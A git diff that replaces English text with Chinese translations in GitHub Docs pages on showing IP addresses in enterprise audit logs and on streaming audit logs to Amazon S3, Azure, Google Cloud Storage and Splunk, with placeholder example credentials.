variables.product.product_name %} 不会在审核日志中针对以下操作显示事件或 IP 地址。 -- Authentication to {% data variables.location.product_location %} -- Interactions with a resource owned by the personal account, including a repository, gist, or project -- Interactions with a public repository owned by an organization in your enterprise +- 通过 {% data variables.product.product_location %} 进行身份验证 +- 与个人帐户拥有的资源(包括存储库、gist 或项目)的交互 +- 与企业中组织拥有的公共存储库交互 -## Enabling display of IP addresses in the audit log +## 启用在审核日志中显示 IP 地址 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -1. Under "Audit log", click **Source IP disclosure**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} +1. 在“审核日志”下,单击“源 IP 泄露”。 - ![Screenshot of "Source IP disclosure" tab](/assets/images/help/enterprises/audit-log-source-ip-disclosure-tab.png) -1. Under "Disclose actor IP addresses in audit logs", select **Enable source IP disclosure**. + ![“源 IP 泄露”选项卡的屏幕截图](/assets/images/help/enterprises/audit-log-source-ip-disclosure-tab.png) +1. 在“在审核日志中披露参与者 IP 地址”下,选择“启用源 IP 泄露”。 - ![Screenshot of checkbox to enable display of IP addresses in audit logs](/assets/images/help/enterprises/audit-log-enable-source-ip-disclosure-checkbox.png) -1. Click **Save**. + ![启用在审核日志中显示 IP 地址的复选框的屏幕截图](/assets/images/help/enterprises/audit-log-enable-source-ip-disclosure-checkbox.png) +1. 单击“保存” 。 -After you enable the feature, you can access the audit log to view events that include IP addresses. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." +启用该功能后,可以访问审核日志以查看包含 IP 地址的事件。 有关详细信息,请参阅“[访问企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)”。 diff --git a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md index 7ef4d78ae4..ca183266ca 100644 --- a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Streaming the audit log for your enterprise -intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.' +title: 流式处理企业审核日志 +intro: '您可以将审核和 Git 事件数据从 {% data variables.product.prodname_dotcom %} 流式传输到外部数据管理系统。' miniTocMaxHeadingLevel: 3 versions: feature: audit-log-streaming @@ -15,83 +15,87 @@ redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account - /admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account permissions: Enterprise owners can configure audit log streaming. +ms.openlocfilehash: bc6b452cae84df8d42e1287d7208ff7d2ca9670b +ms.sourcegitcommit: 242c4c1f72a2d436aeab985c7d8dedd581f43bb9 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/15/2022 +ms.locfileid: '147573438' --- +{% ifversion ghes %} {% note %} -{% ifversion ghes %} -{% note %} +注意:{% data variables.product.product_name %} 的审核日志流式处理目前为 beta 版本,可能会有变动。 -**Note:** Audit log streaming is currently in beta for {% data variables.product.product_name %} and is subject to change. +{% endnote %} {% endif %} -{% endnote %} -{% endif %} +## 关于审核日志流 -## About audit log streaming +为了帮助保护你的知识产权并保持组织的合规性,可以使用流式处理来保留审核日志数据的副本并监视:{% data reusables.audit_log.audited-data-list %} -To help protect your intellectual property and maintain compliance for your organization, you can use streaming to keep copies of your audit log data and monitor: -{% data reusables.audit_log.audited-data-list %} +流式传输审计数据的好处包括: -The benefits of streaming audit data include: +* 数据浏览。 您可以使用首选工具检查流事件,以查询大量数据。 流包含整个企业帐户中的审核事件和 Git 事件。{% ifversion pause-audit-log-stream %} +* 数据连续性。 你可以暂停流长达七天,而不会丢失任何审核数据。{% endif %} +* **数据保留**。 你可以根据需要保留导出的审核日志和 Git 事件数据。 -* **Data exploration**. You can examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.{% ifversion pause-audit-log-stream %} -* **Data continuity**. You can pause the stream for up to seven days without losing any audit data.{% endif %} -* **Data retention**. You can keep your exported audit logs and Git events data as long as you need to. +企业所有者可以随时设置{% ifversion pause-audit-log-stream %}、暂停{% endif %}或删除流。 流导出企业中所有组织的审核和 Git 事件数据。 -Enterprise owners can set up{% ifversion pause-audit-log-stream %}, pause,{% endif %} or delete a stream at any time. The stream exports the audit and Git events data for all of the organizations in your enterprise. +## 设置审核日志流 -## Setting up audit log streaming - -You set up the audit log stream on {% data variables.product.product_name %} by following the instructions for your provider. +您可以按照提供程序的说明在 {% data variables.product.product_name %} 上设置审核日志流。 - [Amazon S3](#setting-up-streaming-to-amazon-s3) -- [Azure Blob Storage](#setting-up-streaming-to-azure-blob-storage) -- [Azure Event Hubs](#setting-up-streaming-to-azure-event-hubs){% ifversion streaming-datadog %} -- [Datadog](#setting-up-streaming-to-datadog){% endif %} +- [Azure Blob 存储](#setting-up-streaming-to-azure-blob-storage) +- [Azure 事件中心](#setting-up-streaming-to-azure-event-hubs) - [Google Cloud Storage](#setting-up-streaming-to-google-cloud-storage) - [Splunk](#setting-up-streaming-to-splunk) -### Setting up streaming to Amazon S3 +### 设置流式传输到 Amazon S3 -{% ifversion streaming-oidc-s3 %} -You can set up streaming to S3 with access keys or, to avoid storing long-lived secrets in {% data variables.product.product_name %}, with OpenID Connect (OIDC). +{% ifversion streaming-oidc-s3 %} 可使用访问密钥设置到 S3 的流式传输,或者不要使用 OpenID Connect (OIDC) 在 {% data variables.product.product_name %} 中存储长期机密。 -- [Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys) -- [Setting up streaming to S3 with OpenID Connect](#setting-up-streaming-to-s3-with-openid-connect) -- [Disabling streaming to S3 with OpenID Connect](#disabling-streaming-to-s3-with-openid-connect) +- [使用访问密钥设置到 S3 的流式传输](#setting-up-streaming-to-s3-with-access-keys) +- [使用 OpenID Connect 设置到 S3 的流式传输](#setting-up-streaming-to-s3-with-openid-connect) +- [使用 OpenID Connect 禁用到 S3 的流式传输](#disabling-streaming-to-s3-with-openid-connect) -#### Setting up streaming to S3 with access keys +#### 使用访问密钥设置到 S3 的流式传输 {% endif %} -To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. +要将审核日志流式传输到 Amazon 的 S3 终端节点,您必须拥有存储桶和访问密钥。 有关详细信息,请参阅 AWS 文档中的[创建、配置和使用 Amazon S3 Bucket](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html)。 请务必阻止对存储桶的公共访问,以保护您的审核日志信息。 -To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need: -* The name of your Amazon S3 bucket -* Your AWS access key ID -* Your AWS secret key +要设置来自 {% data variables.product.prodname_dotcom %} 审核日志流式处理,您需要: +* Amazon S3 存储桶的名称 +* AWS 访问密钥 ID +* AWS 密钥 -For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation. +有关创建或访问访问密钥 ID 和密钥的信息,请参阅 AWS 文档中的[了解和获取你的 AWS 凭据](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html)。 -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -{% data reusables.audit_log.streaming-choose-s3 %}{% ifversion streaming-oidc-s3 %} -1. Under "Authentication", click **Access keys**. +{% data reusables.enterprise.navigate-to-log-streaming-tab %} {% data reusables.audit_log.streaming-choose-s3 %}{% ifversion streaming-oidc-s3 %} +1. 在“身份验证”下,单击“访问密钥”。 - ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-access-keys.png){% endif %} -1. Configure the stream settings. + ![用于流式传输到 Amazon S3 的身份验证选项的屏幕截图](/assets/images/help/enterprises/audit-log-streaming-s3-access-keys.png){% endif %} +1. 配置流设置。 - - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. - - Under "Access Key ID", type your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`. - - Under "Secret Key", type your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. -{% data reusables.audit_log.streaming-check-s3-endpoint %} -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + - 在“Bucket”下,输入想要流式传输到的 Bucket 名称。 例如,`auditlog-streaming-test`。 + - 在“访问密钥 ID”下,键入访问密钥 ID。 例如,`ABCAIOSFODNN7EXAMPLE1`。 + - 在“密钥”下,键入密钥。 例如,`aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`。 +{% data reusables.audit_log.streaming-check-s3-endpoint %} {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} {% ifversion streaming-oidc-s3 %} -#### Setting up streaming to S3 with OpenID Connect +#### 使用 OpenID Connect 设置到 S3 的流式传输 -1. In AWS, add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. +{% note %} - - For the provider URL, use `https://oidc-configuration.audit-log.githubusercontent.com`. - - For "Audience", use `sts.amazonaws.com`. -1. Create a bucket, and block public access to the bucket. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation. -1. Create a policy that allows {% data variables.product.company_short %} to write to the bucket by copying the following JSON and replacing `EXAMPLE-BUCKET` with the name of your bucket. {% data variables.product.prodname_dotcom %} requires only the permissions in this JSON. +注意:使用 OpenID Connect 流式传输到 Amazon S3 的功能目前为 beta 版本,可能会有变动。 + +{% endnote %} + +1. 在 AWS 中,将 {% data variables.product.prodname_dotcom %} OIDC 提供者添加到 IAM。 有关详细信息,请参阅 AWS 文档中的 [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html)(创建 OpenID Connect (OIDC) 标识提供者)。 + + - 对于提供者 URL,请使用 `https://oidc-configuration.audit-log.githubusercontent.com`。 + - 对于“受众”,请使用 `sts.amazonaws.com`。 +1. 创建 Bucket 并阻止对该 Bucket 的公共访问。 有关详细信息,请参阅 AWS 文档中的 [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html)(创建、配置和使用 Amazon S3 Bucket)。 +1. 创建允许 {% data variables.product.company_short %} 写入 Bucket 的策略。 {% data variables.product.prodname_dotcom %} 只需要以下权限。 ``` { @@ -103,16 +107,16 @@ For information on creating or accessing your access key ID and secret key, see "Action": [ "s3:PutObject" ], - "Resource": "arn:aws:s3:::EXAMPLE-BUCKET/*" + "Resource": "arn:aws:s3:::example-bucket/*" } ] } ``` - For more information, see [Creating IAM policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html) in the AWS documentation. -1. Configure the role and trust policy for the {% data variables.product.prodname_dotcom %} IdP. For more information, see [Creating a role for web identity or OpenID Connect Federation (console)](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) in the AWS documentation. + 有关详细信息,请参阅 AWS 文档中的 [Creating IAM policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html)(创建 IAM 策略)。 +1. 为 {% data variables.product.prodname_dotcom %} IdP 配置角色和信任策略。 有关详细信息,请参阅 AWS 文档中的 [Creating a role for web identity or OpenID Connect Federation (console)](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html)(为 Web 标识或 OpenID Connect 联合身份验证创建角色(控制台))。 - - Add the permissions policy you created above to allow writes to the bucket. - - Edit the trust relationship to add the `sub` field to the validation conditions, replacing `ENTERPRISE` with the name of your enterprise. + - 添加上面创建的权限策略,以允许写入 Bucket。 + - 编辑信任关系,将 `sub` 字段添加到验证条件,将 `ENTERPRISE` 替换为你的企业名称。 ``` "Condition": { "StringEquals": { @@ -121,217 +125,182 @@ For information on creating or accessing your access key ID and secret key, see } } ``` - - Make note of the Amazon Resource Name (ARN) of the created role. -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -{% data reusables.audit_log.streaming-choose-s3 %} -1. Under "Authentication", click **OpenID Connect**. + - 记下已创建的角色的 Amazon 资源名称 (ARN)。 +{% data reusables.enterprise.navigate-to-log-streaming-tab %} {% data reusables.audit_log.streaming-choose-s3 %} +1. 在“身份验证”下,单击“OpenID Connect”。 - ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-oidc.png) -1. Configure the stream settings. + ![用于流式传输到 Amazon S3 的身份验证选项的屏幕截图](/assets/images/help/enterprises/audit-log-streaming-s3-oidc.png) +1. 配置流设置。 - - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. - - Under "ARN Role" type the ARN role you noted earlier. For example, `arn:aws::iam::1234567890:role/github-audit-log-streaming-role`. -{% data reusables.audit_log.streaming-check-s3-endpoint %} -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + - 在“Bucket”下,输入想要流式传输到的 Bucket 名称。 例如,`auditlog-streaming-test`。 + - 在“ARN 角色”下,键入前面记下的 ARN 角色。 例如,`arn:aws::iam::1234567890:role/github-audit-log-streaming-role`。 +{% data reusables.audit_log.streaming-check-s3-endpoint %} {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -#### Disabling streaming to S3 with OpenID Connect +#### 使用 OpenID Connect 禁用到 S3 的流式传输 -If you want to disable streaming to S3 with OIDC for any reason, such as the discovery of a security vulnerability in OIDC, delete the {% data variables.product.prodname_dotcom %} OIDC provider you created in AWS when you set up streaming. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. +如果出于任何原因(例如在 OIDC 中发现安全漏洞)而需要禁用到 S3 的流式传输,请在设置流式处理时删除在 AWS 中创建的 {% data variables.product.prodname_dotcom %} OIDC 提供程序。 有关详细信息,请参阅 AWS 文档中的 [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html)(创建 OpenID Connect (OIDC) 标识提供者)。 -Then, set up streaming with access keys until the vulnerability is resolved. For more information, see "[Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys)." +然后,使用访问密钥设置流式处理,直到漏洞得以解决。 有关详细信息,请参阅“[使用访问密钥设置到 S3 的流式传输](#setting-up-streaming-to-s3-with-access-keys)”。 {% endif %} -### Setting up streaming to Azure Blob Storage +### 设置流式传输到 Azure Blob Storage -Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have created a storage account and a container in Microsoft Azure. For details, see the Microsoft documentation, "[Introduction to Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)." +在 {% data variables.product.prodname_dotcom %} 中设置流之前,必须先在 Microsoft Azure 中创建存储帐户和容器。 有关详细信息,请参阅 Microsoft 文档“[Azure Blob 存储简介](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)”。 -To configure the stream in {% data variables.product.prodname_dotcom %} you need the URL of a SAS token. +要在 {% data variables.product.prodname_dotcom %} 配置流,需要 SAS 令牌的 URL。 -**On Microsoft Azure portal**: -1. On the Home page, click **Storage Accounts**. -2. Click the name of the storage account you want to use, then click **Containers**. +在 Microsoft Azure 门户中: +1. 在主页上,单击“存储帐户”。 +2. 单击要使用的存储帐户的名称,然后单击“容器”。 - ![The Containers link in Azure](/assets/images/azure/azure-storage-containers.png) + ![Azure 中的容器链接](/assets/images/azure/azure-storage-containers.png) -1. Click the name of the container you want to use. -1. Click **Shared access tokens**. +1. 单击要使用的容器的名称。 +1. 单击“共享访问令牌”。 - ![The shared access token link in Azure](/assets/images/azure/azure-storage-shared-access-tokens.png) + ![Azure 中的共享访问令牌链接](/assets/images/azure/azure-storage-shared-access-tokens.png) -1. In the **Permissions** drop-down menu, change the permissions to only allow `Create` and `Write`. +1. 在“权限”下拉菜单中,将权限更改为仅允许 `Create` 和 `Write`。 - ![The permissions drop-down menu](/assets/images/azure/azure-storage-permissions.png) + ![权限下拉菜单](/assets/images/azure/azure-storage-permissions.png) -1. Set an expiry date that complies with your secret rotation policy. -1. Click **Generate SAS token and URL**. -1. Copy the value of the **Blob SAS URL** field that's displayed. You will use this URL in {% data variables.product.prodname_dotcom %}. +1. 设置符合机密轮换策略的到期日期。 +1. 单击“生成 SAS 令牌和 URL”。 +1. 复制显示的 Blob SAS URL 字段的值。 您将在 {% data variables.product.prodname_dotcom %} 中使用此 URL。 -**On {% data variables.product.prodname_dotcom %}**: -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Click **Configure stream** and select **Azure Blob Storage**. +在 {% data variables.product.prodname_dotcom %} 上:{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. 单击“配置流”并选择“Azure Blob 存储” 。 - ![Choose Azure Blob Storage from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azureblob.png) + ![从下拉菜单中选择 Azure Blob Storage](/assets/images/help/enterprises/audit-stream-choice-azureblob.png) -1. On the configuration page, enter the blob SAS URL that you copied in Azure. The **Container** field is auto-filled based on the URL. +1. 在配置页上,输入在 Azure 中复制的 blob SAS URL。 “容器”字段将根据 URL 自动填充。 - ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azureblob.png) + ![输入流设置](/assets/images/help/enterprises/audit-stream-add-azureblob.png) -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Blob Storage endpoint. +1. 单击“检查终结点”以验证 {% data variables.product.prodname_dotcom %} 是否可以连接并写入 Azure Blob 存储终结点。 - ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) + ![检查端点](/assets/images/help/enterprises/audit-stream-check.png) {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -### Setting up streaming to Azure Event Hubs +### 设置流式传输到 Azure Event Hub -Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." +在 {% data variables.product.prodname_dotcom %} 中设置流之前,必须先在 Microsoft Azure 中具有事件中心命名空间。 接下来,必须在命名空间中创建事件中心实例。 设置流时,需要此事件中心实例的详细信息。 有关详细信息,请参阅 Microsoft 文档“[快速入门:使用 Azure 门户创建事件中心](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)”。 -You need two pieces of information about your event hub: its instance name and the connection string. +需要有关事件中心的两条信息:其实例名称和连接字符串。 -**On Microsoft Azure portal**: -1. Search for "Event Hubs". +在 Microsoft Azure 门户中: +1. 搜索“事件中心”。 - ![The Azure portal search box](/assets/images/azure/azure-resources-search.png ) + ![Azure 门户搜索框](/assets/images/azure/azure-resources-search.png ) -1. Select **Event Hubs**. The names of your event hubs are listed. +1. 选择“事件中心”。 将列出事件中心的名称。 - ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png) + ![事件中心列表](/assets/images/help/enterprises/azure-event-hubs-list.png) -1. Make a note of the name of the event hub you want to stream to. -1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**. -1. Select a shared access policy in the list of policies, or create a new policy. +1. 记下要流式传输到的事件中心的名称。 +1. 单击所需的事件中心。 然后,在左侧菜单中选择“共享访问策略”。 +1. 在策略列表中选择共享访问策略,或创建新策略。 - ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png) + ![共享访问策略列表](/assets/images/help/enterprises/azure-shared-access-policies.png) -1. Click the button to the right of the **Connection string-primary key** field to copy the connection string. +1. 单击“连接字符串 - 主键”字段右侧的按钮以复制连接字符串。 - ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png) + ![事件中心连接字符串](/assets/images/help/enterprises/azure-connection-string.png) -**On {% data variables.product.prodname_dotcom %}**: -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Click **Configure stream** and select **Azure Event Hubs**. +在 {% data variables.product.prodname_dotcom %} 上:{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. 单击“配置流”并选择“Azure 事件中心” 。 - ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png) + ![从下拉菜单中选择 Azure Events Hub](/assets/images/help/enterprises/audit-stream-choice-azure.png) -1. On the configuration page, enter: - * The name of the Azure Event Hubs instance. - * The connection string. +1. 在配置页面上,输入: + * Azure Event Hubs 实例的名称。 + * 连接字符串。 - ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png) + ![输入流设置](/assets/images/help/enterprises/audit-stream-add-azure.png) -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Events Hub endpoint. +1. 单击“检查终结点”以验证 {% data variables.product.prodname_dotcom %} 是否可以连接并写入 Azure 事件中心终结点。 - ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) + ![检查端点](/assets/images/help/enterprises/audit-stream-check.png) {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -{% ifversion streaming-datadog %} -### Setting up streaming to Datadog +### 设置流式传输到 Google Cloud Storage -To set up streaming to Datadog, you must create a client token or an API key in Datadog, then configure audit log streaming in {% data variables.product.product_name %} using the token for authentication. You do not need to create a bucket or other storage container in Datadog. +要设置流式传输到 Google Cloud Storage,您必须在 Google Cloud 中使用适当的凭据和权限创建一个服务帐户,然后使用服务帐户的凭据在 {% data variables.product.product_name %} 中配置审核日志流以进行身份验证。 -After you set up streaming to Datadog, you can see your audit log data by filtering by "github.audit.streaming." For more information, see [Log Management](https://docs.datadoghq.com/logs/). - -1. If you don't already have a Datadog account, create one. -1. In Datadog, generate a client token or an API key, then click **Copy key**. For more information, see [API and Application Keys](https://docs.datadoghq.com/account_management/api-app-keys/) in Datadog Docs. +1. 为 Google Cloud 创建一个服务帐户。 您无需为服务帐户设置访问控制或 IAM 角色。 有关详细信息,请参阅 Google Cloud 文档中的[创建和管理服务帐户](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating)。 +1. 创建服务帐户的 JSON 密钥,并安全地存储该密钥。 有关详细信息,请参阅 Google Cloud 文档中的[创建和管理服务帐户密钥](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating)。 +1. 如果您尚未创建存储桶,请创建存储桶。 有关详细信息,请参阅 Google Cloud 文档中的[创建存储 Bucket](https://cloud.google.com/storage/docs/creating-buckets)。 +1. 为服务帐户分配存储桶的存储对象创建者角色。 有关详细信息,请参阅 Google Cloud 文档中的[使用 Cloud IAM 权限](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add)。 {% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the **Configure stream** dropdown menu and click **Datadog**. - - ![Screenshot of the "Configure stream" dropdown menu with "Datadog" highlighted](/assets/images/help/enterprises/audit-stream-choice-datadog.png) -1. Under "Token", paste the token you copied earlier. +1. 选择“配置流”下拉菜单并单击“Google Cloud Storage”。 - ![Screenshot of the "Token" field](/assets/images/help/enterprises/audit-stream-datadog-token.png) -1. Select the "Site" dropdown menu and click your Datadog site. To determine your Datadog site, compare your Datadog URL to the table in [Datadog sites](https://docs.datadoghq.com/getting_started/site/) in Datadog Docs. + ![“配置流”下拉菜单的屏幕截图](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png) - ![Screenshot of the "Site" dropdown menu](/assets/images/help/enterprises/audit-stream-datadog-site.png) -1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Datadog endpoint, click **Check endpoint**. - - ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -1. After a few minutes, confirm that audit log data is appearing on the **Logs** tab in Datadog. If audit log data is not appearing, confirm that your token and site are correct in {% data variables.product.prodname_dotcom %}. -{% endif %} +1. 在“Bucket(存储桶)”下,键入 Google Cloud Storage 存储桶的名称。 -### Setting up streaming to Google Cloud Storage + ![“Bucket”文本字段的屏幕截图](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png) -To set up streaming to Google Cloud Storage, you must create a service account in Google Cloud with the appropriate credentials and permissions, then configure audit log streaming in {% data variables.product.product_name %} using the service account's credentials for authentication. +1. 在“JSON Credentials(JSON 凭据)”下,粘贴服务帐户的 JSON 密钥文件的全部内容。 -1. Create a service account for Google Cloud. You do not need to set access controls or IAM roles for the service account. For more information, see [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) in the Google Cloud documentation. -1. Create a JSON key for the service account, and store the key securely. For more information, see [Creating and managing service account keys](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) in the Google Cloud documentation. -1. If you haven't created a bucket yet, create the bucket. For more information, see [Creating storage buckets](https://cloud.google.com/storage/docs/creating-buckets) in the Google Cloud documentation. -1. Give the service account the Storage Object Creator role for the bucket. For more information, see [Using Cloud IAM permissions](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) in the Google Cloud documentation. -{% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Select the Configure stream drop-down menu and click **Google Cloud Storage**. + ![“JSON 凭据”文本字段的屏幕截图](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png) - ![Screenshot of the "Configure stream" drop-down menu](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png) +1. 若要验证 {% data variables.product.prodname_dotcom %} 是否可以连接并写入 Google Cloud Storage Bucket,请单击“检查终结点”。 -1. Under "Bucket", type the name of your Google Cloud Storage bucket. - - ![Screenshot of the "Bucket" text field](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png) - -1. Under "JSON Credentials", paste the entire contents of the file for your service account's JSON key. - - ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png) - -1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. - - ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png) + ![“检查终结点”按钮的屏幕截图](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png) {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} -### Setting up streaming to Splunk +### 设置流式传输到 Splunk -To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation. +要将审核日志流式传输到 Splunk 的 HTTP 事件收集器 (HEC) 端点,必须确保将终端节点配置为接受 HTTPS 连接。 有关详细信息,请参阅 Splunk 文档中的[在 Splunk Web 中设置和使用 HTTP 事件收集器](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector)。 {% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Click **Configure stream** and select **Splunk**. +1. 单击“配置流”并选择“Splunk” 。 - ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png) + ![从下拉菜单中选择 Splunk](/assets/images/help/enterprises/audit-stream-choice-splunk.png) -1. On the configuration page, enter: - * The domain on which the application you want to stream to is hosted. +1. 在配置页面上,输入: + * 要流式传输到的应用程序所在的域。 - If you are using Splunk Cloud, `Domain` should be `http-inputs-`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. + 如果使用的是 Splunk Cloud,则 `Domain` 应为 `http-inputs-`,其中 `host` 是你在 Splunk Cloud 中使用的域。 例如:`http-inputs-mycompany.splunkcloud.com`。 - * The port on which the application accepts data.
+ * 应用程序接受数据的端口。
